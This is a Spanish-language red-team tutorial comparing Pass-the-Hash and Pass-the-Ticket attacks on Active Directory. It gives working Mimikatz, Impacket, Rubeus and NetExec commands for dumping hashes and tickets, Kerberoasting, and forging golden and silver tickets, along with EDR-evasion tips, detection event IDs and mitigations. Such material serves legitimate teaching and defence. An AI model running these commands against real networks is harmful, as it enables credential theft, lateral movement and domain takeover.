Pass-the-Hash vs Pass-the-Ticket: Guía Completa

Los ataques de credenciales en Active Directory se dividen en dos tipos que confunden constantemente: Pass-the-Hash (PtH) y Pass-the-Ticket (PtT). Ambos permiten autenticarse como otro usuario sin conocer su contraseña en texto plano. Pero funcionan sobre protocolos completamente distintos, esquivan defensas diferentes y fallan en situaciones diferentes.

Esta guía cubre cómo funciona cada ataque a nivel de protocolo, cuándo usar uno u otro, cómo los detectan los defensores y cómo los red teamers se mantienen un paso adelante.

La Diferencia Central

Pass-the-Hash: Cómo Funciona

La autenticación NTLM de Windows es un protocolo de desafío-respuesta. Cuando un cliente se autentica ante un servidor:

1. El cliente envía el nombre de usuario
2. El servidor envía un desafío aleatorio de 8 bytes
3. El cliente responde con HMAC-MD5(hash_NT, desafío) — la respuesta NTLMv2
4. El servidor verifica la respuesta

El detalle crítico: el hash NT ES la credencial. Windows nunca verifica que conozcas la contraseña en texto plano — solo comprueba si tu hash produce la respuesta correcta al desafío. Esa es la vulnerabilidad.

Obteniendo el Hash NT

Necesitas ser administrador local o tener acceso como SYSTEM en el objetivo. Con eso, puedes volcar los hashes desde LSASS:

# Mimikatz en el objetivo
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Volcado remoto con Impacket (si ya tienes credenciales)
secretsdump.py domain/user:password@target_ip

# NetExec — volcado masivo
nxc smb 192.168.1.0/24 -u admin -p 'Password123!' --sam

La salida relevante tiene esta forma:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

El hash NT es el último campo: 8846f7eaee8fb117ad06bdd830b7586c. El hash LM (en el medio) es irrelevante en entornos modernos — siempre es el mismo relleno de hash vacío.

Usando el Hash NT

Una vez que tienes el hash, te autenticas como ese usuario sin crackearlo:

# NetExec — movimiento lateral por SMB
nxc smb 192.168.1.50 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --exec-method atexec -x "whoami"

# Impacket — shell interactiva
psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]

# Impacket — ejecución por WMI
wmiexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]

# Mimikatz — inyectar hash en la sesión actual
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

El comando sekurlsa::pth lanza un nuevo proceso (cmd.exe) con la identidad robada inyectada en su sesión de inicio. Toda conexión de red que haga ese proceso se autenticará usando el hash.

Limitaciones de PtH

• Entornos solo Kerberos: Si el objetivo está configurado para rechazar NTLM (poco común pero en aumento), PtH falla completamente
• Grupo Protected Users: Los miembros no pueden autenticarse por NTLM — PtH no funciona contra ellos
• Particularidades con cuentas locales: Con cuentas de dominio, PtH funciona ampliamente. Las cuentas locales requieren que el objetivo tenga el mismo nombre de cuenta local y hash (común con configuraciones por defecto o contraseñas reutilizadas)
• Credential Guard: Protege LSASS del acceso directo a memoria — hace el volcado de hashes significativamente más difícil

Pass-the-Ticket: Cómo Funciona

Kerberos es el protocolo de autenticación predeterminado en entornos Active Directory. En lugar de contraseñas o hashes enviados por la red, Kerberos usa tickets — tokens cifrados emitidos por el Controlador de Dominio.

El flujo de Kerberos:

1. El usuario se autentica ante el KDC (DC) con su hash de contraseña → recibe un Ticket Granting Ticket (TGT)
2. Al acceder a un servicio, el cliente presenta el TGT al KDC y solicita un Service Ticket (TGS)
3. El cliente presenta el TGS al servicio objetivo
4. El servicio descifra el TGS con su propia clave → autenticación completa

PtT roba el TGT o un TGS específico y lo reutiliza. El ticket prueba la identidad. El DC ya lo firmó. No se necesita contraseña.

Obteniendo Tickets

Desde memoria (requiere admin en el objetivo):

# Mimikatz — volcar todos los tickets
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

# Rubeus — volcar todos los tickets
Rubeus.exe dump /nowrap

# Rubeus — volcar de un usuario específico
Rubeus.exe dump /user:administrator /nowrap

Los tickets se guardan como archivos .kirbi o blobs en base64. Cada ticket tiene un tiempo límite (10 horas por defecto para el TGT).

Mediante AS-REP Roasting (sin autenticación): Si una cuenta tiene desactivada la preautenticación de Kerberos:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Rubeus
Rubeus.exe asreproast /nowrap

Esto entrega un blob AS-REP que se crackea offline — no es un ticket directo, pero la contraseña crackeada permite solicitar un TGT.

Mediante Kerberoasting (cualquier usuario del dominio):

# Obtener TGS para SPNs — crackear offline
Rubeus.exe kerberoast /nowrap
nxc ldap dc01 -u user -p pass --kerberoasting output.txt

Usando el Ticket

# Mimikatz — cargar .kirbi en la sesión actual
mimikatz # kerberos::ptt Administrator.kirbi

# Rubeus — cargar ticket en base64
Rubeus.exe ptt /ticket:<blob_base64>

# Impacket — usar ticket directamente
export KRB5CCNAME=/tmp/Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Tras cargarlo, el ticket queda en memoria de la sesión actual. klist confirma que está activo. A partir de ahí puedes acceder a recursos como ese usuario hasta que el ticket expire.

Golden Tickets

La opción nuclear. Si has comprometido el dominio (tienes el hash de krbtgt), puedes falsificar TGTs que no caducan para cualquier usuario:

# Mimikatz — crear golden ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXXXX /krbtgt:KRBTGT_HASH /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXXXXX -domain corp.local FakeAdmin

Los golden tickets evitan el flujo normal de emisión de TGTs. Al estar firmados con la clave krbtgt (que robaste), todos los servicios del dominio los aceptarán como válidos. La única remediación es rotar el hash de krbtgt dos veces.

Silver Tickets

Menos potentes pero más sigilosos. En lugar de falsificar un TGT (que solo el KDC puede verificar), se falsifica un TGS para un servicio específico usando el hash de la cuenta de ese servicio:

# Falsificar un ticket de servicio CIFS para \\dc01\share
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXX /target:dc01.corp.local /service:cifs /rc4:SERVICE_ACCOUNT_HASH /ptt

Los silver tickets no contactan al DC — no hay solicitudes AS ni TGS. Eso los hace más difíciles de detectar, pero los limita a un servicio en un host específico.

PtH vs PtT: Cuándo Usar Cuál

Usa Pass-the-Hash cuando:

• Tienes hashes NT pero no una sesión activa para volcar tickets
• Estás haciendo movimiento lateral rápido entre estaciones de trabajo (SMB es conveniente)
• Kerberos no está disponible o el entorno usa NTLM como alternativa
• Estás atacando cuentas de administrador local (Kerberos de dominio no ayuda con autenticación local)

Usa Pass-the-Ticket cuando:

• Necesitas acceder a servicios que requieren Kerberos (ciertos SQL, Exchange, servicios web)
• Quieres suplantar a un usuario de dominio específico con su contexto completo
• Has comprometido una cuenta de alto valor y quieres usar su TGT para acceso posterior
• Vas por un Golden Ticket tras compromiso total del dominio

Flujo práctico en red team: La mayoría de los compromisos comienzan con PtH para movimiento lateral inicial (rápido y fácil con NetExec), luego pivotan a ataques Kerberos (Kerberoasting, PtT, Golden Tickets) al escalar privilegios hacia el dominio.

Detección: Qué Buscan los Blue Teams

Detección de Pass-the-Hash

Event ID 4624, Logon Type 3 con autenticación NTLM: Cuando se usa NTLM para logon de red, los defensores observan:

• Cuentas admin autenticándose por NTLM (en entornos modernos debería ser Kerberos)
• Eventos de inicio de sesión desde IPs inusuales o en horarios atípicos

Event ID 4776 — intento de autenticación NTLM: Toda autenticación NTLM genera este evento en el DC (para cuentas de dominio) o localmente. Autenticación NTLM masiva desde un host = firma de movimiento lateral.

Creación anómala de procesos: sekurlsa::pth lanza un proceso con una sesión de inicio diferente al proceso padre. Las herramientas EDR correlacionan la creación de procesos con eventos de inicio de sesión — una discrepancia es una señal de detección.

Consejos de evasión:

• Usar Kerberos en lugar de NTLM donde sea posible
• Mezclarse en horarios laborales normales
• Evitar autenticarse en todos los hosts de la subred (--no-bruteforce en NxC)
• Usar nombres de proceso con apariencia legítima para los procesos lanzados

Detección de Pass-the-Ticket

Event ID 4768 (solicitud TGT) y 4769 (solicitud TGS):

• El uso de Golden Ticket genera 4768/4769 con atributos del usuario falsificado — pero como el ticket está pre-falsificado, el DC ve un TGT Kerberos válido y emite un TGS sin señales inusuales
• Truco de defensor: verificar validación PAC — los Golden Tickets suelen tener atributos inconsistentes (por ejemplo, ticket antiguo con valores SID nuevos)

Event ID 4627 — evaluación de membresía de grupo: Cuando el ticket falsificado reclama membresías de grupo que no existen en AD, esto puede dispararse por fallos de validación PAC.

Tipos de cifrado Kerberos anómalos: Las herramientas antiguas generan tickets cifrados con RC4. Los entornos modernos usan AES256. Una cuenta de alto valor que de repente usa RC4 es señal de detección. Usa los flags /aes256 en Mimikatz/Rubeus cuando sea posible.

Anomalías en tickets:

• Tickets para usuarios inexistentes (Golden Ticket con nombre de usuario falso)
• Tickets con tiempos de vida que no coinciden con la política del dominio
• Service tickets solicitados sin un TGT correspondiente (Silver Ticket)

Configuración de Laboratorio

¿Quieres practicar estos ataques de forma segura? Necesitas un laboratorio AD aislado:

Configuración mínima:

• Windows Server 2019/2022 (DC)
• Windows 10/11 (estación de trabajo)
• Kali Linux (atacante)

Para práctica en la nube sin el hardware, un VPS funciona bien. Vultr permite lanzar instancias Windows bajo demanda — desplegar para una sesión de laboratorio, destruir al terminar, pagar solo lo que uses. DigitalOcean es otra opción sólida con precios similares.

Máquinas HTB para practicar:

• Active — Kerberoasting clásico encadenado con PtH
• Sauna — AS-REP Roasting con escalada de dominio
• Forest — Cadena completa AS-REP + DCSync
• Monteverde — Ataques de credenciales con Azure AD

Referencia de Herramientas

Mimikatz

El original. Sigue siendo el más completo. Pero también el más detectado — es la herramienta con más firmas en toda la historia de la seguridad Windows.

Usa versiones ofuscadas, carga reflectiva o invoke-Mimikatz en compromisos sensibles a OPSEC. La ejecución directa de mimikatz.exe activará cualquier EDR moderno.

Rubeus

Toolkit Kerberos en .NET puro. Más granular que Mimikatz para operaciones Kerberos, mejor OPSEC. Preferido para:

• Kerberoasting
• AS-REP Roasting
• Manipulación de tickets
• Abuso S4U

Impacket

Basado en Python. Funciona desde Linux sin herramientas Windows. Herramientas clave para PtH/PtT:

• secretsdump.py — volcado remoto de hashes
• psexec.py, wmiexec.py, smbexec.py — ejecución autenticada
• GetNPUsers.py, GetUserSPNs.py — enumeración Kerberos
• ticketer.py — creación de Golden/Silver tickets

NetExec (nxc)

El sucesor moderno de CrackMapExec. Ideal para operaciones masivas:

• Spraying de hashes en múltiples hosts
• Enumeración a nivel de dominio
• Ecosistema de módulos para ataques específicos

Mitigaciones

Para quienes están del lado azul (o redactando el informe):

Contra Pass-the-Hash:

• Activar Credential Guard — aísla LSASS del acceso directo a memoria
• Agregar cuentas de alto privilegio al grupo Protected Users — desactiva NTLM completamente
• Deshabilitar la autenticación NTLM (bloquear por GPO donde sea posible)
• Implementar LAPS para cuentas de administrador local — contraseñas únicas por host eliminan la reutilización de hashes
• Habilitar Windows Defender Credential Guard
• Monitorear y restringir privilegios de depuración (SeDebugPrivilege)

Contra Pass-the-Ticket:

• Habilitar validación PAC (validate-pac-requests en el KDC)
• Usar AES256 para Kerberos (deprecar RC4/DES en la configuración del nivel funcional del dominio)
• Rotar la contraseña de krbtgt cada 180 días (requiere dos rotaciones)
• Restringir permisos de cuentas de servicio — minimizar SPNs kerberoasteables con acceso admin
• Monitorear anomalías en tickets con Microsoft Defender for Identity o Sentinel

Lectura Adicional

Para una cobertura más profunda del playbook ofensivo — cómo se encadenan estos ataques en compromisos reales — The Hacker Playbook 3 cubre la metodología completa de red team incluyendo ataques de credenciales, movimiento lateral y dominio total.

Guías relacionadas en RedTeamGuide:

• Guía Completa de BloodHound: Mapeo de Rutas de Ataque en AD
• Ataque Kerberoasting: Cómo Funciona y Cómo Explotarlo
• Guía Completa de NetExec (CrackMapExec) 2026
• Movimiento Lateral en Active Directory: Playbook Completo (próximamente el 18 de julio)

Resumen

Ambos ataques explotan el diseño fundamental de sus respectivos protocolos — NTLM y Kerberos no verifican que conozcas una contraseña, verifican que posees el material criptográfico correcto. Pass-the-Hash y Pass-the-Ticket demuestran que esa posesión es suficiente.

¿Necesitas contenido de seguridad profesional para tu organización? CipherWrite ofrece artículos, guías y documentación técnica de ciberseguridad de nivel experto.